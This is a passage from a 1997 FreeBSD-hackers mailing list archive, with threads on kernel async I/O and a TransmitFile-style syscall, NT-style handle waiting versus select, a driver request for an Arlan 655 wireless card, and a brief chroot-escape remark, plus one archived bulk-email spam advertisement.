than ``end-users''. Well, and more to the point, it's only on the SNAPshot CDs that I can actually FIT a CVS tree anymore. :-( The distfiles for the ports collection eat all of that space on the 2nd CD of the "mainline" CD releases, so I can't put a CVS there (as much as I'd like to). Jordan From owner-freebsd-hackers Tue May 27 12:16:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA29241 for hackers-outgoing; Tue, 27 May 1997 12:16:12 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA29236 for ; Tue, 27 May 1997 12:16:09 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id NAA04997; Tue, 27 May 1997 13:14:46 -0600 (MDT) Message-Id: <199705271914.NAA04997@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: Ben Black cc: Christopher Sedore , Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-reply-to: Your message of "Tue, 27 May 1997 14:25:29 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 May 1997 14:12:24 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >btw, NT is probably the WORST place to look for inspiration. just look >at their TCP sequence generation algorithm. It is up to the farmer to separate the wheat from the chaff. Some of the programing models in NT are extremely useful. For example, the fact that almost every object in the system (FDs, sockets, threads, processes, events, mutexes, critical sections) comes in the form of a handle you can shove in an array with other handle types and wait on is something I think would be very usefull to have in FreeBSD. >b3n -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Tue May 27 12:17:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA29287 for hackers-outgoing; Tue, 27 May 1997 12:17:15 -0700 (PDT) Received: from ficus.ripn.net (root@ficus.ripn.net [144.206.130.212]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA29267; Tue, 27 May 1997 12:17:10 -0700 (PDT) Received: from orion.faki-campus.mipt.ru (orion.faki-campus.mipt.ru [194.85.83.138]) by ficus.ripn.net (8.6.9/8.6.9) with SMTP id CAA25356; Wed, 28 May 1997 02:33:07 +0400 Message-ID: <338B3325.41C67EA6@ficus.ripn.net> Date: Tue, 27 May 1997 19:16:53 +0000 From: Alexander Gnativ Organization: MIPT ( Moscow Institute of Physics and Technology ) X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.1.6-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org CC: hardware@freebsd.org Subject: question about drivers References: <3387353D.167EB0E7@ficus.ripn.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, Would you like, please, tell me are there any drivers for "Arlan 655" card for FreeBSD operation system? Thank you for advance. Alexander Gnativ mailto:gam@ficus.ripn.net From owner-freebsd-hackers Tue May 27 12:32:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA29958 for hackers-outgoing; Tue, 27 May 1997 12:32:39 -0700 (PDT) Received: from ns1.softcell.net ([38.216.110.200]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA29953 for ; Tue, 27 May 1997 12:32:37 -0700 (PDT) From: mailbox@01157.com Received: from softcell.net (1Cust83.Max79.New-York.NY.MS.UU.NET [153.35.39.83]) by ns1.softcell.net (8.8.4/8.8.4) with SMTP id MAA24670; Tue, 27 May 1997 12:27:00 -0700 Received: from postmaster@softcell.net by postmaster@softcell.net (8.8.5/8.6.5) with SMTP id GAA09856 for ; Tue, 27 May 1997 13:29:42 -0600 (EST) Date: Tue, 27 May 97 13:29:42 EST To: postmaster@softcell.net Subject: Target Email Distribution Lists Message-ID: Reply-To: mailbox@softcell.net X-PMFLAGS: 340788480 X-UIDL: 3671313288965eb1890m0762139 Comments: Authenticated sender is < postmaster@softcell.net> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I am trying to reach the person who handles your web marketing, if you are not that person I would be grateful if you would forward this Email. Nothing gets results like target Email...nothing. The technique we use is completely different than just sending out mass Email spam. We carefully target our E mail lists and design an e-mail message that only invites a person to get further information. This works to bring people to your Web Site to get that information to make their buying decision. Add a promotion or contest to your Target Email Give away free 35MM Camera we take care of all fulfillment see - http://www.softcell.net/newcamera Some Of Our Specialty Lists….over 600 different categories to choose from; New Web Site Submissions - 1000 to 2500 per day Business Opportunities - 220.000 - Computer - 180.000 Travel - 120.000 - Web Designers - 70.000 - Providers - 23.000 Investment Seekers - 63.000 - Home Business - 70.000 CLICK FOR OUR PRESS: http://www.softcell.net/reviews.html#Ent Featured in BUSINESS WEEK & ENTREPRENEUR MAGAZINE issue ......Boardwatch magazine "cream of the crop in bulk e mailers" Go to our site now - http://www.softcell.net FREE DOWNLOAD Email Works V3.1a - Gather’s Email Addresses FREE Download Stealth Mailer - Send Email at 1 MILLION PER HOR *·.žž.·Ž¯`·.žž.·Ž¯`Electronic Email Marketing ·Ž¯`·.žž.·Ž¯`·.žž.·* SoftCell Marketing Inc. T.212.953.5234 250 East 39th Street New York, NY 10016 .·Ž¯`·.žž.·Ž¯`·.žž.·* http://www.softcell.net *·.žž.·Ž¯`·.žž.·Ž¯` From owner-freebsd-hackers Tue May 27 12:48:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA00617 for hackers-outgoing; Tue, 27 May 1997 12:48:53 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA00612 for ; Tue, 27 May 1997 12:48:47 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id PAA03947; Tue, 27 May 1997 15:48:03 -0400 Date: Tue, 27 May 1997 15:48:01 -0400 (EDT) From: Ben Black To: "Justin T. Gibbs" cc: Christopher Sedore , Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: <199705271914.NAA04997@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk very true, but it doesn't change the fact that there is little in NT worth trying to put into FreeBSD. for an example of what i think is wrong with *both* systems look at their access control systems. both the full-blown ACLs of NT and the simple permissions of FreeBSD are inferior in most ways to capabilities. anyone want to make a FreeBSD server for VSTa? b3n On Tue, 27 May 1997, Justin T. Gibbs wrote: > >btw, NT is probably the WORST place to look for inspiration. just look > >at their TCP sequence generation algorithm. > > It is up to the farmer to separate the wheat from the chaff. Some of the > programing models in NT are extremely useful. For example, the fact that > almost every object in the system (FDs, sockets, threads, processes, > events, mutexes, critical sections) comes in the form of a handle you can > shove in an array with other handle types and wait on is something I think > would be very usefull to have in FreeBSD. > > >b3n > > -- > Justin T. Gibbs > =========================================== > FreeBSD: Turning PCs into workstations > =========================================== > > From owner-freebsd-hackers Tue May 27 13:04:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA01278 for hackers-outgoing; Tue, 27 May 1997 13:04:20 -0700 (PDT) Received: from FNAL.FNAL.Gov (SYSTEM@fnal.fnal.gov [131.225.110.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA01273 for ; Tue, 27 May 1997 13:04:18 -0700 (PDT) Received: from aduxb.fnal.gov ("port 35530"@aduxb.fnal.gov) by FNAL.FNAL.GOV (PMDF V5.0-5 #3998) id <01IJD9WCVROU000DL9@FNAL.FNAL.GOV>; Tue, 27 May 1997 15:04:12 -0600 Received: from localhost by aduxb.fnal.gov (5.x/SMI-SVR4) id AA12855; Tue, 27 May 1997 15:04:06 -0500 Date: Tue, 27 May 1997 15:04:05 -0500 (CDT) From: Richard Neswold Subject: Re: async socket stuff In-reply-to: <199705271914.NAA04997@pluto.plutotech.com> To: "Justin T. Gibbs" Cc: FreeBSD-Hackers@FreeBSD.ORG Reply-to: neswold@FNAL.GOV Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Justin T. Gibbs wrote: > >btw, NT is probably the WORST place to look for inspiration. just look > >at their TCP sequence generation algorithm. > > It is up to the farmer to separate the wheat from the chaff. Some of the > programing models in NT are extremely useful. For example, the fact that > almost every object in the system (FDs, sockets, threads, processes, > events, mutexes, critical sections) comes in the form of a handle you can > shove in an array with other handle types and wait on is something I think > would be very usefull to have in FreeBSD. You mean like sockets, files and pipes being represented by "file" descriptors? Yep. Unix has been using that model for years. Rich ------------------------------------------------------------------------ Richard Neswold, Accelerator Div./Controls Dept | neswold@fnal.gov Fermilab, PO Box 500, MS 347, Batavia, IL 60510 | voice (630) 840-3454 'finger neswold@aduxb.fnal.gov' for PGP key | fax (630) 840-3093 From owner-freebsd-hackers Tue May 27 13:09:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA01472 for hackers-outgoing; Tue, 27 May 1997 13:09:00 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA01467 for ; Tue, 27 May 1997 13:08:57 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id OAA06051; Tue, 27 May 1997 14:08:52 -0600 (MDT) Message-Id: <199705272008.OAA06051@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: neswold@FNAL.GOV cc: "Justin T. Gibbs" , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-reply-to: Your message of "Tue, 27 May 1997 15:04:05 CDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 May 1997 15:06:29 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >You mean like sockets, files and pipes being represented by "file" >descriptors? Yep. Unix has been using that model for years. Show me how to select on: * A child process terminating * An event object that I create in my program being signaled by one of my threads. * I/O completing on a socket or fd. * A critical section freeing up. * A mutex becoming availible. * New files being added to a directory. * The size of a file changing. etc, etc, etc. all in a single select call. I fully understand what select can and cannot do, and it doesn't even come close to giving all of the flexibility NT gives you. > Rich > > ------------------------------------------------------------------------ > Richard Neswold, Accelerator Div./Controls Dept | neswold@fnal.gov > Fermilab, PO Box 500, MS 347, Batavia, IL 60510 | voice (630) 840-3454 > 'finger neswold@aduxb.fnal.gov' for PGP key | fax (630) 840-3093 -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Tue May 27 13:12:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA01656 for hackers-outgoing; Tue, 27 May 1997 13:12:22 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA01651; Tue, 27 May 1997 13:12:18 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id QAA04389; Tue, 27 May 1997 16:11:45 -0400 Date: Tue, 27 May 1997 16:11:43 -0400 (EDT) From: Ben Black To: Alexander Gnativ cc: hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: question about drivers In-Reply-To: <338B3325.41C67EA6@ficus.ripn.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk as far as i know the only wireless ethernet drivers for freebsd are for the at&t wavelan. you are welcome to write arlan drivers. On Tue, 27 May 1997, Alexander Gnativ wrote: > Hello, > > Would you like, please, tell me are there any drivers for > "Arlan 655" > card for FreeBSD > operation system? > Thank you for advance. > > > Alexander Gnativ > mailto:gam@ficus.ripn.net > From owner-freebsd-hackers Tue May 27 13:27:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA02388 for hackers-outgoing; Tue, 27 May 1997 13:27:50 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA02383 for ; Tue, 27 May 1997 13:27:47 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.EC86A680@mailer.syr.edu>; Tue, 27 May 1997 16:27:52 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id QAA14149; Tue, 27 May 1997 16:27:44 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 16:27:44 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu Reply-To: Christopher Sedore To: Ben Black cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ben Black wrote: > > > > It sure could, but you end up with many more system calls, and it is not > > async. The real advantage to a call like TransmitFile() is that you can > > send an entire file (or a range of a file) with a single system call, and > > you can do it async. This means that you can more efficiently implement > > things like FTP servers, Web servers, pop servers, etc. > > > > i think we have a terminology problem here. i would honestly be amazed > if NT implemented TransmitFile() in the kernel (making it a syscall). i > think it more likely that it is a library routine that is built on top of > async IO. Well, you might better arrange to be amazed :) It is an NT system call. It's exact purpose is to avoid a read(file,buf)/write(sock,buf) loop with the associated user/system switch for each call. Async doesn't buy you anything here except the ability to do it in the background. > btw, NT is probably the WORST place to look for inspiration. just look > at their TCP sequence generation algorithm. I figure that I'll borrow good ideas from where ever they come...Nobody does everything "right" by universal or any given individual's standards. I'd just like to see FreeBSD add some enhancements to make it easier/more efficient for high load network applications (since I'm now breaking NT's IP stack under load). Threads (true threads, mind you) would be nice, but kernel based async IO and a few other goodies would make a big difference. -Chris From owner-freebsd-hackers Tue May 27 13:32:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA02623 for hackers-outgoing; Tue, 27 May 1997 13:32:26 -0700 (PDT) Received: from ficus.ripn.net (root@ficus.ripn.net [144.206.130.212]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA02604; Tue, 27 May 1997 13:32:20 -0700 (PDT) Received: from orion.faki-campus.mipt.ru (orion.faki-campus.mipt.ru [194.85.83.138]) by ficus.ripn.net (8.6.9/8.6.9) with SMTP id DAA25477; Wed, 28 May 1997 03:48:13 +0400 Message-ID: <338B44B9.167EB0E7@ficus.ripn.net> Date: Tue, 27 May 1997 20:31:53 +0000 From: Alexander Gnativ Organization: MIPT ( Moscow Institute of Physics and Technology ) X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.1.6-RELEASE i386) MIME-Version: 1.0 To: Ben Black CC: hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: question about drivers References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ben Black wrote: > > as far as i know the only wireless ethernet drivers for freebsd are for > the at&t wavelan. you are welcome to write arlan drivers. > > On Tue, 27 May 1997, Alexander Gnativ wrote: > > > Hello, > > > > Would you like, please, tell me are there any drivers for > > "Arlan 655" > > card for FreeBSD > > operation system? > > Thank you for advance. And what about these drivers for other unix-system? ______________________ Alexander Gnativ mailto:gam@ficus.ripn.net From owner-freebsd-hackers Tue May 27 13:33:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA02659 for hackers-outgoing; Tue, 27 May 1997 13:33:39 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA02654 for ; Tue, 27 May 1997 13:33:34 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id QAA04768; Tue, 27 May 1997 16:33:04 -0400 Date: Tue, 27 May 1997 16:33:03 -0400 (EDT) From: Ben Black To: Christopher Sedore cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Well, you might better arrange to be amazed :) It is an NT system call. > It's exact purpose is to avoid a read(file,buf)/write(sock,buf) loop with > the associated user/system switch for each call. Async doesn't buy you > anything here except the ability to do it in the background. > how do you spell kludge? > > btw, NT is probably the WORST place to look for inspiration. just look > > at their TCP sequence generation algorithm. > > I figure that I'll borrow good ideas from where ever they come...Nobody > does everything "right" by universal or any given individual's standards. > no, but some places have more wrong than others. > I'd just like to see FreeBSD add some enhancements to make it easier/more > efficient for high load network applications (since I'm now breaking NT's something like fbufs would be a general purpose and cleaner solution to the issue of high-speed IO. the NT syscall you describe is nothing but a giant hairy hack. > IP stack under load). Threads (true threads, mind you) would be nice, breaking the NT tcp stack is no major accomplishment. > but kernel based async IO and a few other goodies would make a big > difference. > again, the kernel need not provide these facilities as long as they appear at user level (yes, this can be done, see www.cis.upenn.edu/~eros) i would rather the kernel got *smaller* and *faster* than more loaded down with features. how about a giant rearchitecting for FreeBSD 4.0? ;) b3n From owner-freebsd-hackers Tue May 27 13:34:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA02757 for hackers-outgoing; Tue, 27 May 1997 13:34:17 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA02728; Tue, 27 May 1997 13:34:13 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id QAA04778; Tue, 27 May 1997 16:33:34 -0400 Date: Tue, 27 May 1997 16:33:32 -0400 (EDT) From: Ben Black To: Alexander Gnativ cc: hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: question about drivers In-Reply-To: <338B44B9.167EB0E7@ficus.ripn.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk what about them? this is a freebsd list. On Tue, 27 May 1997, Alexander Gnativ wrote: > Ben Black wrote: > > > > as far as i know the only wireless ethernet drivers for freebsd are for > > the at&t wavelan. you are welcome to write arlan drivers. > > > > On Tue, 27 May 1997, Alexander Gnativ wrote: > > > > > Hello, > > > > > > Would you like, please, tell me are there any drivers for > > > "Arlan 655" > > > card for FreeBSD > > > operation system? > > > Thank you for advance. > > And what about these drivers for other unix-system? > > ______________________ > Alexander Gnativ > mailto:gam@ficus.ripn.net > From owner-freebsd-hackers Tue May 27 14:25:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA04590 for hackers-outgoing; Tue, 27 May 1997 14:25:39 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA04584 for ; Tue, 27 May 1997 14:25:36 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id NAA16479 for ; Tue, 27 May 1997 13:53:25 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.AB958F80@mailer.syr.edu>; Tue, 27 May 1997 16:47:31 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id QAA15888; Tue, 27 May 1997 16:47:22 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 16:47:22 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu To: "Ron G. Minnich" cc: FreeBSD-Hackers@freebsd.org Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ron G. Minnich wrote: > > It sure could, but you end up with many more system calls, and it is not > > async. The real advantage to a call like TransmitFile() is that you can > > send an entire file (or a range of a file) with a single system call, and > > you can do it async. This means that you can more efficiently implement > ^^^^^^^^^^^^^^^^^^^^^^^^^^ > > things like FTP servers, Web servers, pop servers, etc. > > And the measurements which show this are to be found ... where? I'm not > convinced. You've got to pay the cost for this somewhere. > "complexity is conserved" -- D. Jensen Well, you can do some math which might demonstrate it: To transfer a 10MB file now, you might implement something like: open(...) while (!eof) { read(file,buf,64k) write(sock,buf,64k) } close(file) with a transmitfile-like facility, you would: open(...) transmitfile(file,sock,...) close(file) Now, in the case of a 10MB file, you've essentially saved 20MB worth of memory bandwidth/time for transfer (since the data has to be copied into user space on read, and back again on write), plus 160*2=320-1=319 system calls avoided. I do acknowledge that you could of course do: open(...) mmap(...) write(...) munmap(...) close(...) but this has another set of efficiency concerns with setting up the map. I think you still end up with a user to kernel copy you might otherwise avoid (corrections welcome). You also have restrictions on how much space you can map into a process (a problem I currently experience with an NT app which hangs around 1.5GB of reserved address space with a 2GB OS limit). What's the cost? another few hundred bytes of kernel code. Worth it to me, esp since it would probably be duplicated many times over in user code. -Chris From owner-freebsd-hackers Tue May 27 14:44:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA05365 for hackers-outgoing; Tue, 27 May 1997 14:44:35 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA05360 for ; Tue, 27 May 1997 14:44:32 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 8603 on Tue, 27 May 1997 21:43:22 GMT; id VAA08603 efrom: peter@grendel.IAEhv.nl; eto: UNKNOWN Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id XAA00628; Tue, 27 May 1997 23:38:13 +0200 (CEST) Message-ID: <19970527233812.31278@hw.nl> Date: Tue, 27 May 1997 23:38:12 +0200 From: Peter Korsten To: Terry Lambert Cc: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: <19970526233013.13944@hw.nl> <199705271616.JAA15356@phaeton.artisoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <199705271616.JAA15356@phaeton.artisoft.com>; from Terry Lambert on Tue, May 27, 1997 at 09:16:05AM -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert shared with us: > > > > I don't think you can build a real shell (like sh or csh) and have > > it run safely inside a chroot environment. Someone (as a matter of > > fact, the FreeBSD security officer :) ) showed me how to break out > > of a chroot environment with a simple 'ln' or something like that. > > Actually, this problem has to do with namei() and the use of NULL > to indicate a non-chroot struct file * for the current directory > for the process. No, it really was with some simple /bin commands. No structures or null pointers were mentoined. > I've complained about this before. No kidding. :) - Peter From owner-freebsd-hackers Tue May 27 14:55:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA05817 for hackers-outgoing; Tue, 27 May 1997 14:55:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA05812 for ; Tue, 27 May 1997 14:55:13 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id OAA05173; Tue, 27 May 1997 14:54:55 -0700 (PDT) To: Alexander Gnativ cc: Ben Black , hackers@FreeBSD.ORG Subject: Re: question about drivers In-reply-to: Your message of "Tue, 27 May 1997 20:31:53 -0000." <338B44B9.167EB0E7@ficus.ripn.net> Date: Tue, 27 May 1997 14:54:54 -0700 Message-ID: <5169.864770094@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > And what about these drivers for other unix-system? What about them? Those should be discussed in the mailing lists for those other unix systems - this isn't a Linux or Solaris forum, you know. :) Jordan From owner-freebsd-hackers Tue May 27 14:57:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA05944 for hackers-outgoing; Tue, 27 May 1997 14:57:09 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA05922; Tue, 27 May 1997 14:56:48 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with SMTP id EAA17768; Wed, 28 May 1997 04:56:52 +0700 (OSD) Date: Wed, 28 May 1997 04:56:52 +0700 (OSD) From: Eugeny Kuzakov To: Alexander Gnativ cc: Ben Black , hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: question about drivers In-Reply-To: <338B44B9.167EB0E7@ficus.ripn.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Alexander Gnativ wrote: > Ben Black wrote: > > > > as far as i know the only wireless ethernet drivers for freebsd are for > > the at&t wavelan. you are welcome to write arlan drivers. > > > > On Tue, 27 May 1997, Alexander Gnativ wrote: > > > > > Hello, > > > > > > Would you like, please, tell me are there any drivers for > > > "Arlan 655" > > > card for FreeBSD > > > operation system? > > > Thank you for advance. > > And what about these drivers for other unix-system? BSDI,Win95...:( Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Tue May 27 15:00:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA06205 for hackers-outgoing; Tue, 27 May 1997 15:00:49 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA06197 for ; Tue, 27 May 1997 15:00:46 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.E225DE60@mailer.syr.edu>; Tue, 27 May 1997 18:00:38 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id SAA22732; Tue, 27 May 1997 18:00:37 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 18:00:36 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu Reply-To: Christopher Sedore To: Ben Black cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ben Black wrote: > > > > Well, you might better arrange to be amazed :) It is an NT system call. > > It's exact purpose is to avoid a read(file,buf)/write(sock,buf) loop with > > the associated user/system switch for each call. Async doesn't buy you > > anything here except the ability to do it in the background. > > > > how do you spell kludge? Why does this qualify as a kludge (and a better question might be "how do you pronounce kludge?" :). It seems to me that a good test set for what facilities should be in the kernel might include: 1. can the kernel do it significantly more efficiently that the user? 2. can it be implemented in userland and if so, is it likely to be highly duplicated code? 3. what is the expense to the kernel of doing this? The answer to #1 is yes, much more efficiently. The answer to #2 is yes, it can, but it is very likely to be duplicated The answer to #3 is a maybe 1k of code (at most) and no mods to critical performance sections in the kernel. #2 is really a test question for a library rather than the kernel, but, where applicable, it should also be applied to kernel calls. > > > btw, NT is probably the WORST place to look for inspiration. just look > > > at their TCP sequence generation algorithm. > > > > I figure that I'll borrow good ideas from where ever they come...Nobody > > does everything "right" by universal or any given individual's standards. > > > > no, but some places have more wrong than others. > > > I'd just like to see FreeBSD add some enhancements to make it easier/more > > efficient for high load network applications (since I'm now breaking NT's > > something like fbufs would be a general purpose and cleaner solution to > the issue of high-speed IO. the NT syscall you describe is nothing but a > giant hairy hack. > > > IP stack under load). Threads (true threads, mind you) would be nice, > > breaking the NT tcp stack is no major accomplishment. Maybe not, but I don't think I could even get my code to run under FBSD without some non-trivial rearrangement because of facilities that don't exist or are costly to use (I'm not happy about the idea of checking 800 connections with an FD_ISSET() loop). > > but kernel based async IO and a few other goodies would make a big > > difference. > > > > again, the kernel need not provide these facilities as long as they > appear at user level (yes, this can be done, see www.cis.upenn.edu/~eros) > > i would rather the kernel got *smaller* and *faster* than more loaded > down with features. how about a giant rearchitecting for FreeBSD 4.0? ;) You can shrink the kernel continuously, down to something like: kernel: jmp kernel and it will be 